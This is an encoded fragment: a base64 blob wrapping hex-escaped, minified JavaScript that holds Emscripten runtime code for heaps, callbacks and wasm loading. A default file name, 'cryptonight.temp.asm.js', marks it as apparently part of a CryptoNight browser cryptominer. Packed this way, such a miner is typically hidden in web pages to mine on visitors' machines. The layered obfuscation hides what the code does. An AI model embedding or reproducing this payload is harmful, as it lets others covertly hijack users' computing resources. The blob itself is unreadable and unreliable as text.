VceDIwYXZhaWxhYmxlKVx4MjJ9fXJldHVyblx4MjBlcnIuc3RhY2sudG9TdHJpbmcoKX1mdW5jdGlvblx4MjBzdGFja1RyYWNlKCl7dmFyXHgyMGpzPWpzU3RhY2tUcmFjZSgpO2lmKE1vZHVsZVtceDIyZXh0cmFTdGFja1RyYWNlXHgyMl0panMrPVx4MjJceDVjblx4MjIrTW9kdWxlW1x4MjJleHRyYVN0YWNrVHJhY2VceDIyXSgpO3JldHVyblx4MjBkZW1hbmdsZUFsbChqcyl9TW9kdWxlW1x4MjJzdGFja1RyYWNlXHgyMl09c3RhY2tUcmFjZTt2YXJceDIwV0FTTV9QQUdFX1NJWkU9NjU1MzY7dmFyXHgyMEFTTUpTX1BBR0VfU0laRT0xNjc3NzIxNjtmdW5jdGlvblx4MjBhbGlnblVwKHgsbXVsdGlwbGUpe2lmKHglbXVsdGlwbGU+MCl7eCs9bXVsdGlwbGUteCVtdWx0aXBsZX1yZXR1cm5ceDIweH12YXJceDIwSEVBUCxidWZmZXIsSEVBUDgsSEVBUFU4LEhFQVAxNixIRUFQVTE2LEhFQVAzMixIRUFQVTMyLEhFQVBGMzIsSEVBUEY2NDtmdW5jdGlvblx4MjB1cGRhdGVHbG9iYWxCdWZmZXIoYnVmKXtNb2R1bGVbXHgyMmJ1ZmZlclx4MjJdPWJ1ZmZlcj1idWZ9ZnVuY3Rpb25ceDIwdXBkYXRlR2xvYmFsQnVmZmVyVmlld3MoKXtNb2R1bGVbXHgyMkhFQVA4XHgyMl09SEVBUDg9bmV3XHgyMEludDhBcnJheShidWZmZXIpO01vZHVsZVtceDIySEVBUDE2XHgyMl09SEVBUDE2PW5ld1x4MjBJbnQxNkFycmF5KGJ1ZmZlcik7TW9kdWxlW1x4MjJIRUFQMzJceDIyXT1IRUFQMzI9bmV3XHgyMEludDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBVOFx4MjJdPUhFQVBVOD1uZXdceDIwVWludDhBcnJheShidWZmZXIpO01vZHVsZVtceDIySEVBUFUxNlx4MjJdPUhFQVBVMTY9bmV3XHgyMFVpbnQxNkFycmF5KGJ1ZmZlcik7TW9kdWxlW1x4MjJIRUFQVTMyXHgyMl09SEVBUFUzMj1uZXdceDIwVWludDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBGMzJceDIyXT1IRUFQRjMyPW5ld1x4MjBGbG9hdDMyQXJyYXkoYnVmZmVyKTtNb2R1bGVbXHgyMkhFQVBGNjRceDIyXT1IRUFQRjY0PW5ld1x4MjBGbG9hdDY0QXJyYXkoYnVmZmVyKX12YXJceDIwU1RBVElDX0JBU0UsU1RBVElDVE9QLHN0YXRpY1NlYWxlZDt2YXJceDIwU1RBQ0tfQkFTRSxTVEFDS1RPUCxTVEFDS19NQVg7dmFyXHgyMERZTkFNSUNfQkFTRSxEWU5BTUlDVE9QX1BUUjtTVEFUSUNfQkFTRT1TVEFUSUNUT1A9U1RBQ0tfQkFTRT1TVEFDS1RPUD1TVEFDS19NQVg9RFlOQU1JQ19CQVNFPURZTkFNSUNUT1BfUFRSPTA7c3RhdGljU2VhbGVkPWZhbHNlO2Z1bmN0aW9uXHgyMGFib3J0T25DYW5ub3RHcm93TWVtb3J5KCl7YWJvcnQoXHgyMkNhbm5vdFx4MjBlbmxhcmdlXHgyMG1lbW9yeVx4MjBhcnJheXMuXHgyMEVpdGhlclx4MjAoMSlceDIwY29tcGlsZVx4MjB3aXRoXHgyMC1zXHgyMFRPVEFMX01FTU9SWT1YXHgyMHdpdGhceDIwWFx4MjBoaWdoZXJceDIwdGhhblx4MjB0aGVceDIwY3VycmVudFx4MjB2YWx1ZVx4MjBceDIyK1RPVEFMX01FTU9SWStceDIyLFx4MjAoMilceDIwY29tcGlsZVx4MjB3aXRoXHgyMC1zXHgyMEFMTE9XX01FTU9SWV9HUk9XVEg9MVx4MjB3aGljaFx4MjBhbGxvd3NceDIwaW5jcmVhc2luZ1x4MjB0aGVceDIwc2l6ZVx4MjBhdFx4MjBydW50aW1lLFx4MjBvclx4MjAoMylceDIwaWZceDIweW91XHgyMHdhbnRceDIwbWFsbG9jXHgyMHRvXHgyMHJldHVyblx4MjBOVUxMXHgyMCgwKVx4MjBpbnN0ZWFkXHgyMG9mXHgyMHRoaXNceDIwYWJvcnQsXHgyMGNvbXBpbGVceDIwd2l0aFx4MjAtc1x4MjBBQk9SVElOR19NQUxMT0M9MFx4MjBceDIyKX1mdW5jdGlvblx4MjBlbmxhcmdlTWVtb3J5KCl7YWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkoKX12YXJceDIwVE9UQUxfU1RBQ0s9TW9kdWxlW1x4MjJUT1RBTF9TVEFDS1x4MjJdfHw1MjQyODgwO3Zhclx4MjBUT1RBTF9NRU1PUlk9TW9kdWxlW1x4MjJUT1RBTF9NRU1PUllceDIyXXx8MTY3NzcyMTY7aWYoVE9UQUxfTUVNT1JZPFRPVEFMX1NUQUNLKU1vZHVsZS5wcmludEVycihceDIyVE9UQUxfTUVNT1JZXHgyMHNob3VsZFx4MjBiZVx4MjBsYXJnZXJceDIwdGhhblx4MjBUT1RBTF9TVEFDSyxceDIwd2FzXHgyMFx4MjIrVE9UQUxfTUVNT1JZK1x4MjIhXHgyMChUT1RBTF9TVEFDSz1ceDIyK1RPVEFMX1NUQUNLK1x4MjIpXHgyMik7aWYoTW9kdWxlW1x4MjJidWZmZXJceDIyXSl7YnVmZmVyPU1vZHVsZVtceDIyYnVmZmVyXHgyMl19ZWxzZXtpZih0eXBlb2ZceDIwV2ViQXNzZW1ibHk9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMFdlYkFzc2VtYmx5Lk1lbW9yeT09PVx4MjJmdW5jdGlvblx4MjIpe01vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdPW5ld1x4MjBXZWJBc3NlbWJseS5NZW1vcnkoe1x4MjJpbml0aWFsXHgyMjpUT1RBTF9NRU1PUlkvV0FTTV9QQUdFX1NJWkUsXHgyMm1heGltdW1ceDIyOlRPVEFMX01FTU9SWS9XQVNNX1BBR0VfU0laRX0pO2J1ZmZlcj1Nb2R1bGVbXHgyMndhc21NZW1vcnlceDIyXS5idWZmZXJ9ZWxzZXtidWZmZXI9bmV3XHgyMEFycmF5QnVmZmVyKFRPVEFMX01FTU9SWSl9fXVwZGF0ZUdsb2JhbEJ1ZmZlclZpZXdzKCk7ZnVuY3Rpb25ceDIwZ2V0VG90YWxNZW1vcnkoKXtyZXR1cm5ceDIwVE9UQUxfTUVNT1JZfUhFQVAzMlswXT0xNjY4NTA5MDI5O0hFQVAxNlsxXT0yNTQ1OTtpZihIRUFQVThbMl0hPT0xMTV8fEhFQVBVOFszXSE9PTk5KXRocm93XHgyMlJ1bnRpbWVceDIwZXJyb3I6XHgyMGV4cGVjdGVkXHgyMHRoZVx4MjBzeXN0ZW1ceDIwdG9ceDIwYmVceDIwbGl0dGxlLWVuZGlhbiFceDIyO01vZHVsZVtceDIySEVBUFx4MjJdPUhFQVA7TW9kdWxlW1x4MjJidWZmZXJceDIyXT1idWZmZXI7TW9kdWxlW1x4MjJIRUFQOFx4MjJdPUhFQVA4O01vZHVsZVtceDIySEVBUDE2XHgyMl09SEVBUDE2O01vZHVsZVtceDIySEVBUDMyXHgyMl09SEVBUDMyO01vZHVsZVtceDIySEVBUFU4XHgyMl09SEVBUFU4O01vZHVsZVtceDIySEVBUFUxNlx4MjJdPUhFQVBVMTY7TW9kdWxlW1x4MjJIRUFQVTMyXHgyMl09SEVBUFUzMjtNb2R1bGVbXHgyMkhFQVBGMzJceDIyXT1IRUFQRjMyO01vZHVsZVtceDIySEVBUEY2NFx4MjJdPUhFQVBGNjQ7ZnVuY3Rpb25ceDIwY2FsbFJ1bnRpbWVDYWxsYmFja3MoY2FsbGJhY2tzKXt3aGlsZShjYWxsYmFja3MubGVuZ3RoPjApe3Zhclx4MjBjYWxsYmFjaz1jYWxsYmFja3Muc2hpZnQoKTtpZih0eXBlb2ZceDIwY2FsbGJhY2s9PVx4MjJmdW5jdGlvblx4MjIpe2NhbGxiYWNrKCk7Y29udGludWV9dmFyXHgyMGZ1bmM9Y2FsbGJhY2suZnVuYztpZih0eXBlb2ZceDIwZnVuYz09PVx4MjJudW1iZXJceDIyKXtpZihjYWxsYmFjay5hcmc9PT11bmRlZmluZWQpe01vZHVsZVtceDIyZHluQ2FsbF92XHgyMl0oZnVuYyl9ZWxzZXtNb2R1bGVbXHgyMmR5bkNhbGxfdmlceDIyXShmdW5jLGNhbGxiYWNrLmFyZyl9fWVsc2V7ZnVuYyhjYWxsYmFjay5hcmc9PT11bmRlZmluZWQ/bnVsbDpjYWxsYmFjay5hcmcpfX19dmFyXHgyMF9fQVRQUkVSVU5fXz1bXTt2YXJceDIwX19BVElOSVRfXz1bXTt2YXJceDIwX19BVE1BSU5fXz1bXTt2YXJceDIwX19BVEVYSVRfXz1bXTt2YXJceDIwX19BVFBPU1RSVU5fXz1bXTt2YXJceDIwcnVudGltZUluaXRpYWxpemVkPWZhbHNlO3Zhclx4MjBydW50aW1lRXhpdGVkPWZhbHNlO2Z1bmN0aW9uXHgyMHByZVJ1bigpe2lmKE1vZHVsZVtceDIycHJlUnVuXHgyMl0pe2lmKHR5cGVvZlx4MjBNb2R1bGVbXHgyMnByZVJ1blx4MjJdPT1ceDIyZnVuY3Rpb25ceDIyKU1vZHVsZVtceDIycHJlUnVuXHgyMl09W01vZHVsZVtceDIycHJlUnVuXHgyMl1dO3doaWxlKE1vZHVsZVtceDIycHJlUnVuXHgyMl0ubGVuZ3RoKXthZGRPblByZVJ1bihNb2R1bGVbXHgyMnByZVJ1blx4MjJdLnNoaWZ0KCkpfX1jYWxsUnVudGltZUNhbGxiYWNrcyhfX0FUUFJFUlVOX18pfWZ1bmN0aW9uXHgyMGVuc3VyZUluaXRSdW50aW1lKCl7aWYocnVudGltZUluaXRpYWxpemVkKXJldHVybjtydW50aW1lSW5pdGlhbGl6ZWQ9dHJ1ZTtjYWxsUnVudGltZUNhbGxiYWNrcyhfX0FUSU5JVF9fKX1mdW5jdGlvblx4MjBwcmVNYWluKCl7Y2FsbFJ1bnRpbWVDYWxsYmFja3MoX19BVE1BSU5fXyl9ZnVuY3Rpb25ceDIwZXhpdFJ1bnRpbWUoKXtjYWxsUnVudGltZUNhbGxiYWNrcyhfX0FURVhJVF9fKTtydW50aW1lRXhpdGVkPXRydWV9ZnVuY3Rpb25ceDIwcG9zdFJ1bigpe2lmKE1vZHVsZVtceDIycG9zdFJ1blx4MjJdKXtpZih0eXBlb2ZceDIwTW9kdWxlW1x4MjJwb3N0UnVuXHgyMl09PVx4MjJmdW5jdGlvblx4MjIpTW9kdWxlW1x4MjJwb3N0UnVuXHgyMl09W01vZHVsZVtceDIycG9zdFJ1blx4MjJdXTt3aGlsZShNb2R1bGVbXHgyMnBvc3RSdW5ceDIyXS5sZW5ndGgpe2FkZE9uUG9zdFJ1bihNb2R1bGVbXHgyMnBvc3RSdW5ceDIyXS5zaGlmdCgpKX19Y2FsbFJ1bnRpbWVDYWxsYmFja3MoX19BVFBPU1RSVU5fXyl9ZnVuY3Rpb25ceDIwYWRkT25QcmVSdW4oY2Ipe19fQVRQUkVSVU5fXy51bnNoaWZ0KGNiKX1Nb2R1bGVbXHgyMmFkZE9uUHJlUnVuXHgyMl09YWRkT25QcmVSdW47ZnVuY3Rpb25ceDIwYWRkT25Jbml0KGNiKXtfX0FUSU5JVF9fLnVuc2hpZnQoY2IpfU1vZHVsZVtceDIyYWRkT25Jbml0XHgyMl09YWRkT25Jbml0O2Z1bmN0aW9uXHgyMGFkZE9uUHJlTWFpbihjYil7X19BVE1BSU5fXy51bnNoaWZ0KGNiKX1Nb2R1bGVbXHgyMmFkZE9uUHJlTWFpblx4MjJdPWFkZE9uUHJlTWFpbjtmdW5jdGlvblx4MjBhZGRPbkV4aXQoY2Ipe19fQVRFWElUX18udW5zaGlmdChjYil9TW9kdWxlW1x4MjJhZGRPbkV4aXRceDIyXT1hZGRPbkV4aXQ7ZnVuY3Rpb25ceDIwYWRkT25Qb3N0UnVuKGNiKXtfX0FUUE9TVFJVTl9fLnVuc2hpZnQoY2IpfU1vZHVsZVtceDIyYWRkT25Qb3N0UnVuXHgyMl09YWRkT25Qb3N0UnVuO2Z1bmN0aW9uXHgyMGludEFycmF5RnJvbVN0cmluZyhzdHJpbmd5LGRvbnRBZGROdWxsLGxlbmd0aCl7dmFyXHgyMGxlbj1sZW5ndGg+MD9sZW5ndGg6bGVuZ3RoQnl0ZXNVVEY4KHN0cmluZ3kpKzE7dmFyXHgyMHU4YXJyYXk9bmV3XHgyMEFycmF5KGxlbik7dmFyXHgyMG51bUJ5dGVzV3JpdHRlbj1zdHJpbmdUb1VURjhBcnJheShzdHJpbmd5LHU4YXJyYXksMCx1OGFycmF5Lmxlbmd0aCk7aWYoZG9udEFkZE51bGwpdThhcnJheS5sZW5ndGg9bnVtQnl0ZXNXcml0dGVuO3JldHVyblx4MjB1OGFycmF5fU1vZHVsZVtceDIyaW50QXJyYXlGcm9tU3RyaW5nXHgyMl09aW50QXJyYXlGcm9tU3RyaW5nO2Z1bmN0aW9uXHgyMGludEFycmF5VG9TdHJpbmcoYXJyYXkpe3Zhclx4MjByZXQ9W107Zm9yKHZhclx4MjBpPTA7aTxhcnJheS5sZW5ndGg7aSsrKXt2YXJceDIwY2hyPWFycmF5W2ldO2lmKGNocj4yNTUpe2NociY9MjU1fXJldC5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyKSl9cmV0dXJuXHgyMHJldC5qb2luKFx4MjJceDIyKX1Nb2R1bGVbXHgyMmludEFycmF5VG9TdHJpbmdceDIyXT1pbnRBcnJheVRvU3RyaW5nO2Z1bmN0aW9uXHgyMHdyaXRlU3RyaW5nVG9NZW1vcnkoc3RyaW5nLGJ1ZmZlcixkb250QWRkTnVsbCl7UnVudGltZS53YXJuT25jZShceDIyd3JpdGVTdHJpbmdUb01lbW9yeVx4MjBpc1x4MjBkZXByZWNhdGVkXHgyMGFuZFx4MjBzaG91bGRceDIwbm90XHgyMGJlXHgyMGNhbGxlZCFceDIwVXNlXHgyMHN0cmluZ1RvVVRGOCgpXHgyMGluc3RlYWQhXHgyMik7dmFyXHgyMGxhc3RDaGFyLGVuZDtpZihkb250QWRkTnVsbCl7ZW5kPWJ1ZmZlcitsZW5ndGhCeXRlc1VURjgoc3RyaW5nKTtsYXN0Q2hhcj1IRUFQOFtlbmRdfXN0cmluZ1RvVVRGOChzdHJpbmcsYnVmZmVyLEluZmluaXR5KTtpZihkb250QWRkTnVsbClIRUFQOFtlbmRdPWxhc3RDaGFyfU1vZHVsZVtceDIyd3JpdGVTdHJpbmdUb01lbW9yeVx4MjJdPXdyaXRlU3RyaW5nVG9NZW1vcnk7ZnVuY3Rpb25ceDIwd3JpdGVBcnJheVRvTWVtb3J5KGFycmF5LGJ1ZmZlcil7SEVBUDguc2V0KGFycmF5LGJ1ZmZlcil9TW9kdWxlW1x4MjJ3cml0ZUFycmF5VG9NZW1vcnlceDIyXT13cml0ZUFycmF5VG9NZW1vcnk7ZnVuY3Rpb25ceDIwd3JpdGVBc2NpaVRvTWVtb3J5KHN0cixidWZmZXIsZG9udEFkZE51bGwpe2Zvcih2YXJceDIwaT0wO2k8c3RyLmxlbmd0aDsrK2kpe0hFQVA4W2J1ZmZlcisrPj4wXT1zdHIuY2hhckNvZGVBdChpKX1pZighZG9udEFkZE51bGwpSEVBUDhbYnVmZmVyPj4wXT0wfU1vZHVsZVtceDIyd3JpdGVBc2NpaVRvTWVtb3J5XHgyMl09d3JpdGVBc2NpaVRvTWVtb3J5O2lmKCFNYXRoW1x4MjJpbXVsXHgyMl18fE1hdGhbXHgyMmltdWxceDIyXSg0Mjk0OTY3Mjk1LDUpIT09LTUpTWF0aFtceDIyaW11bFx4MjJdPWZ1bmN0aW9uXHgyMGltdWwoYSxiKXt2YXJceDIwYWg9YT4+PjE2O3Zhclx4MjBhbD1hJjY1NTM1O3Zhclx4MjBiaD1iPj4+MTY7dmFyXHgyMGJsPWImNjU1MzU7cmV0dXJuXHgyMGFsKmJsKyhhaCpibCthbCpiaDw8MTYpfDB9O01hdGguaW11bD1NYXRoW1x4MjJpbXVsXHgyMl07aWYoIU1hdGhbXHgyMmZyb3VuZFx4MjJdKXt2YXJceDIwZnJvdW5kQnVmZmVyPW5ld1x4MjBGbG9hdDMyQXJyYXkoMSk7TWF0aFtceDIyZnJvdW5kXHgyMl09KGZ1bmN0aW9uKHgpe2Zyb3VuZEJ1ZmZlclswXT14O3JldHVyblx4MjBmcm91bmRCdWZmZXJbMF19KX1NYXRoLmZyb3VuZD1NYXRoW1x4MjJmcm91bmRceDIyXTtpZighTWF0aFtceDIyY2x6MzJceDIyXSlNYXRoW1x4MjJjbHozMlx4MjJdPShmdW5jdGlvbih4KXt4PXg+Pj4wO2Zvcih2YXJceDIwaT0wO2k8MzI7aSsrKXtpZih4JjE8PDMxLWkpcmV0dXJuXHgyMGl9cmV0dXJuXHgyMDMyfSk7TWF0aC5jbHozMj1NYXRoW1x4MjJjbHozMlx4MjJdO2lmKCFNYXRoW1x4MjJ0cnVuY1x4MjJdKU1hdGhbXHgyMnRydW5jXHgyMl09KGZ1bmN0aW9uKHgpe3JldHVyblx4MjB4PDA/TWF0aC5jZWlsKHgpOk1hdGguZmxvb3IoeCl9KTtNYXRoLnRydW5jPU1hdGhbXHgyMnRydW5jXHgyMl07dmFyXHgyME1hdGhfYWJzPU1hdGguYWJzO3Zhclx4MjBNYXRoX2Nvcz1NYXRoLmNvczt2YXJceDIwTWF0aF9zaW49TWF0aC5zaW47dmFyXHgyME1hdGhfdGFuPU1hdGgudGFuO3Zhclx4MjBNYXRoX2Fjb3M9TWF0aC5hY29zO3Zhclx4MjBNYXRoX2FzaW49TWF0aC5hc2luO3Zhclx4MjBNYXRoX2F0YW49TWF0aC5hdGFuO3Zhclx4MjBNYXRoX2F0YW4yPU1hdGguYXRhbjI7dmFyXHgyME1hdGhfZXhwPU1hdGguZXhwO3Zhclx4MjBNYXRoX2xvZz1NYXRoLmxvZzt2YXJceDIwTWF0aF9zcXJ0PU1hdGguc3FydDt2YXJceDIwTWF0aF9jZWlsPU1hdGguY2VpbDt2YXJceDIwTWF0aF9mbG9vcj1NYXRoLmZsb29yO3Zhclx4MjBNYXRoX3Bvdz1NYXRoLnBvdzt2YXJceDIwTWF0aF9pbXVsPU1hdGguaW11bDt2YXJceDIwTWF0aF9mcm91bmQ9TWF0aC5mcm91bmQ7dmFyXHgyME1hdGhfcm91bmQ9TWF0aC5yb3VuZDt2YXJceDIwTWF0aF9taW49TWF0aC5taW47dmFyXHgyME1hdGhfY2x6MzI9TWF0aC5jbHozMjt2YXJceDIwTWF0aF90cnVuYz1NYXRoLnRydW5jO3Zhclx4MjBydW5EZXBlbmRlbmNpZXM9MDt2YXJceDIwcnVuRGVwZW5kZW5jeVdhdGNoZXI9bnVsbDt2YXJceDIwZGVwZW5kZW5jaWVzRnVsZmlsbGVkPW51bGw7ZnVuY3Rpb25ceDIwZ2V0VW5pcXVlUnVuRGVwZW5kZW5jeShpZCl7cmV0dXJuXHgyMGlkfWZ1bmN0aW9uXHgyMGFkZFJ1bkRlcGVuZGVuY3koaWQpe3J1bkRlcGVuZGVuY2llcysrO2lmKE1vZHVsZVtceDIybW9uaXRvclJ1bkRlcGVuZGVuY2llc1x4MjJdKXtNb2R1bGVbXHgyMm1vbml0b3JSdW5EZXBlbmRlbmNpZXNceDIyXShydW5EZXBlbmRlbmNpZXMpfX1Nb2R1bGVbXHgyMmFkZFJ1bkRlcGVuZGVuY3lceDIyXT1hZGRSdW5EZXBlbmRlbmN5O2Z1bmN0aW9uXHgyMHJlbW92ZVJ1bkRlcGVuZGVuY3koaWQpe3J1bkRlcGVuZGVuY2llcy0tO2lmKE1vZHVsZVtceDIybW9uaXRvclJ1bkRlcGVuZGVuY2llc1x4MjJdKXtNb2R1bGVbXHgyMm1vbml0b3JSdW5EZXBlbmRlbmNpZXNceDIyXShydW5EZXBlbmRlbmNpZXMpfWlmKHJ1bkRlcGVuZGVuY2llcz09MCl7aWYocnVuRGVwZW5kZW5jeVdhdGNoZXIhPT1udWxsKXtjbGVhckludGVydmFsKHJ1bkRlcGVuZGVuY3lXYXRjaGVyKTtydW5EZXBlbmRlbmN5V2F0Y2hlcj1udWxsfWlmKGRlcGVuZGVuY2llc0Z1bGZpbGxlZCl7dmFyXHgyMGNhbGxiYWNrPWRlcGVuZGVuY2llc0Z1bGZpbGxlZDtkZXBlbmRlbmNpZXNGdWxmaWxsZWQ9bnVsbDtjYWxsYmFjaygpfX19TW9kdWxlW1x4MjJyZW1vdmVSdW5EZXBlbmRlbmN5XHgyMl09cmVtb3ZlUnVuRGVwZW5kZW5jeTtNb2R1bGVbXHgyMnByZWxvYWRlZEltYWdlc1x4MjJdPXt9O01vZHVsZVtceDIycHJlbG9hZGVkQXVkaW9zXHgyMl09e307dmFyXHgyMG1lbW9yeUluaXRpYWxpemVyPW51bGw7ZnVuY3Rpb25ceDIwaW50ZWdyYXRlV2FzbUpTKE1vZHVsZSl7dmFyXHgyMG1ldGhvZD1Nb2R1bGVbXHgyMndhc21KU01ldGhvZFx4MjJdfHxceDIybmF0aXZlLXdhc21ceDIyO01vZHVsZVtceDIyd2FzbUpTTWV0aG9kXHgyMl09bWV0aG9kO3Zhclx4MjB3YXNtVGV4dEZpbGU9TW9kdWxlW1x4MjJ3YXNtVGV4dEZpbGVceDIyXXx8XHgyMmMud2FzdFx4MjI7dmFyXHgyMHdhc21CaW5hcnlGaWxlPU1vZHVsZVtceDIyd2FzbUJpbmFyeUZpbGVceDIyXXx8XHgyMmMud2FzbVx4MjI7dmFyXHgyMGFzbWpzQ29kZUZpbGU9TW9kdWxlW1x4MjJhc21qc0NvZGVGaWxlXHgyMl18fFx4MjJjcnlwdG9uaWdodC50ZW1wLmFzbS5qc1x4MjI7aWYodHlwZW9mXHgyME1vZHVsZVtceDIybG9jYXRlRmlsZVx4MjJdPT09XHgyMmZ1bmN0aW9uXHgyMil7d2FzbVRleHRGaWxlPU1vZHVsZVtceDIybG9jYXRlRmlsZVx4MjJdKHdhc21UZXh0RmlsZSk7d2FzbUJpbmFyeUZpbGU9TW9kdWxlW1x4MjJsb2NhdGVGaWxlXHgyMl0od2FzbUJpbmFyeUZpbGUpO2FzbWpzQ29kZUZpbGU9TW9kdWxlW1x4MjJsb2NhdGVGaWxlXHgyMl0oYXNtanNDb2RlRmlsZSl9dmFyXHgyMHdhc21QYWdlU2l6ZT02NCoxMDI0O3Zhclx4MjBhc20yd2FzbUltcG9ydHM9e1x4MjJmNjQtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm5ceDIweCV5fSksXHgyMmY2NC10by1pbnRceDIyOihmdW5jdGlvbih4KXtyZXR1cm5ceDIweHwwfSksXHgyMmkzMnMtZGl2XHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeHwwKS8oeXwwKXwwfSksXHgyMmkzMnUtZGl2XHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeD4+PjApLyh5Pj4+MCk+Pj4wfSksXHgyMmkzMnMtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeHwwKSUoeXwwKXwwfSksXHgyMmkzMnUtcmVtXHgyMjooZnVuY3Rpb24oeCx5KXtyZXR1cm4oeD4+PjApJSh5Pj4+MCk+Pj4wfSksXHgyMmRlYnVnZ2VyXHgyMjooZnVuY3Rpb24oKXtkZWJ1Z2dlcn0pfTt2YXJceDIwaW5mbz17XHgyMmdsb2JhbFx4MjI6bnVsbCxceDIyZW52XHgyMjpudWxsLFx4MjJhc20yd2FzbVx4MjI6YXNtMndhc21JbXBvcnRzLFx4MjJwYXJlbnRceDIyOk1vZHVsZX07dmFyXHgyMGV4cG9ydHM9bnVsbDtmdW5jdGlvblx4MjBsb29rdXBJbXBvcnQobW9kLGJhc2Upe3Zhclx4MjBsb29rdXA9aW5mbztpZihtb2QuaW5kZXhPZihceDIyLlx4MjIpPDApe2xvb2t1cD0obG9va3VwfHx7fSlbbW9kXX1lbHNle3Zhclx4MjBwYXJ0cz1tb2Quc3BsaXQoXHgyMi5ceDIyKTtsb29rdXA9KGxvb2t1cHx8e30pW3BhcnRzWzBdXTtsb29rdXA9KGxvb2t1cHx8e30pW3BhcnRzWzFdXX1pZihiYXNlKXtsb29rdXA9KGxvb2t1cHx8e30pW2Jhc2VdfWlmKGxvb2t1cD09PXVuZGVmaW5lZCl7YWJvcnQoXHgyMmJhZFx4MjBsb29rdXBJbXBvcnRceDIwdG9ceDIwKFx4MjIrbW9kK1x4MjIpLlx4MjIrYmFzZSl9cmV0dXJuXHgyMGxvb2t1cH1mdW5jdGlvblx4MjBtZXJnZU1lbW9yeShuZXdCdWZmZXIpe3Zhclx4MjBvbGRCdWZmZXI9TW9kdWxlW1x4MjJidWZmZXJceDIyXTtpZihuZXdCdWZmZXIuYnl0ZUxlbmd0aDxvbGRCdWZmZXIuYnl0ZUxlbmd0aCl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJ0aGVceDIwbmV3XHgyMGJ1ZmZlclx4MjBpblx4MjBtZXJnZU1lbW9yeVx4MjBpc1x4MjBzbWFsbGVyXHgyMHRoYW5ceDIwdGhlXHgyMHByZXZpb3VzXHgyMG9uZS5ceDIwaW5ceDIwbmF0aXZlXHgyMHdhc20sXHgyMHdlXHgyMHNob3VsZFx4MjBncm93XHgyMG1lbW9yeVx4MjBoZXJlXHgyMil9dmFyXHgyMG9sZFZpZXc9bmV3XHgyMEludDhBcnJheShvbGRCdWZmZXIpO3Zhclx4MjBuZXdWaWV3PW5ld1x4MjBJbnQ4QXJyYXkobmV3QnVmZmVyKTtpZighbWVtb3J5SW5pdGlhbGl6ZXIpe29sZFZpZXcuc2V0KG5ld1ZpZXcuc3ViYXJyYXkoTW9kdWxlW1x4MjJTVEFUSUNfQkFTRVx4MjJdLE1vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXStNb2R1bGVbXHgyMlNUQVRJQ19CVU1QXHgyMl0pLE1vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXSl9bmV3Vmlldy5zZXQob2xkVmlldyk7dXBkYXRlR2xvYmFsQnVmZmVyKG5ld0J1ZmZlcik7dXBkYXRlR2xvYmFsQnVmZmVyVmlld3MoKX12YXJceDIwV2FzbVR5cGVzPXtub25lOjAsaTMyOjEsaTY0OjIsZjMyOjMsZjY0OjR9O2Z1bmN0aW9uXHgyMGZpeEltcG9ydHMoaW1wb3J0cyl7aWYoITApcmV0dXJuXHgyMGltcG9ydHM7dmFyXHgyMHJldD17fTtmb3IodmFyXHgyMGlceDIwaW5ceDIwaW1wb3J0cyl7dmFyXHgyMGZpeGVkPWk7aWYoZml4ZWRbMF09PVx4MjJfXHgyMilmaXhlZD1maXhlZC5zdWJzdHIoMSk7cmV0W2ZpeGVkXT1pbXBvcnRzW2ldfXJldHVyblx4MjByZXR9ZnVuY3Rpb25ceDIwZ2V0QmluYXJ5KCl7dHJ5e3Zhclx4MjBiaW5hcnk7aWYoTW9kdWxlW1x4MjJ3YXNtQmluYXJ5XHgyMl0pe2JpbmFyeT1Nb2R1bGVbXHgyMndhc21CaW5hcnlceDIyXTtiaW5hcnk9bmV3XHgyMFVpbnQ4QXJyYXkoYmluYXJ5KX1lbHNlXHgyMGlmKE1vZHVsZVtceDIycmVhZEJpbmFyeVx4MjJdKXtiaW5hcnk9TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl0od2FzbUJpbmFyeUZpbGUpfWVsc2V7dGhyb3dceDIyb25ceDIwdGhlXHgyMHdlYixceDIwd2VceDIwbmVlZFx4MjB0aGVceDIwd2FzbVx4MjBiaW5hcnlceDIwdG9ceDIwYmVceDIwcHJlbG9hZGVkXHgyMGFuZFx4MjBzZXRceDIwb25ceDIwTW9kdWxlW1x4Mjd3YXNtQmluYXJ5XHgyN10uXHgyMGVtY2MucHlceDIwd2lsbFx4MjBkb1x4MjB0aGF0XHgyMGZvclx4MjB5b3VceDIwd2hlblx4MjBnZW5lcmF0aW5nXHgyMEhUTUxceDIwKGJ1dFx4MjBub3RceDIwSlMpXHgyMn1yZXR1cm5ceDIwYmluYXJ5fWNhdGNoKGVycil7YWJvcnQoZXJyKX19ZnVuY3Rpb25ceDIwZ2V0QmluYXJ5UHJvbWlzZSgpe2lmKCFNb2R1bGVbXHgyMndhc21CaW5hcnlceDIyXSYmdHlwZW9mXHgyMGZldGNoPT09XHgyMmZ1bmN0aW9uXHgyMil7cmV0dXJuXHgyMGZldGNoKHdhc21CaW5hcnlGaWxlLHtjcmVkZW50aWFsczpceDIyc2FtZS1vcmlnaW5ceDIyfSkudGhlbigoZnVuY3Rpb24ocmVzcG9uc2Upe2lmKCFyZXNwb25zZVtceDIyb2tceDIyXSl7dGhyb3dceDIyZmFpbGVkXHgyMHRvXHgyMGxvYWRceDIwd2FzbVx4MjBiaW5hcnlceDIwZmlsZVx4MjBhdFx4MjBceDI3XHgyMit3YXNtQmluYXJ5RmlsZStceDIyXHgyN1x4MjJ9cmV0dXJuXHgyMHJlc3BvbnNlW1x4MjJhcnJheUJ1ZmZlclx4MjJdKCl9KSl9cmV0dXJuXHgyMG5ld1x4MjBQcm9taXNlKChmdW5jdGlvbihyZXNvbHZlLHJlamVjdCl7cmVzb2x2ZShnZXRCaW5hcnkoKSl9KSl9ZnVuY3Rpb25ceDIwZG9OYXRpdmVXYXNtKGdsb2JhbCxlbnYscHJ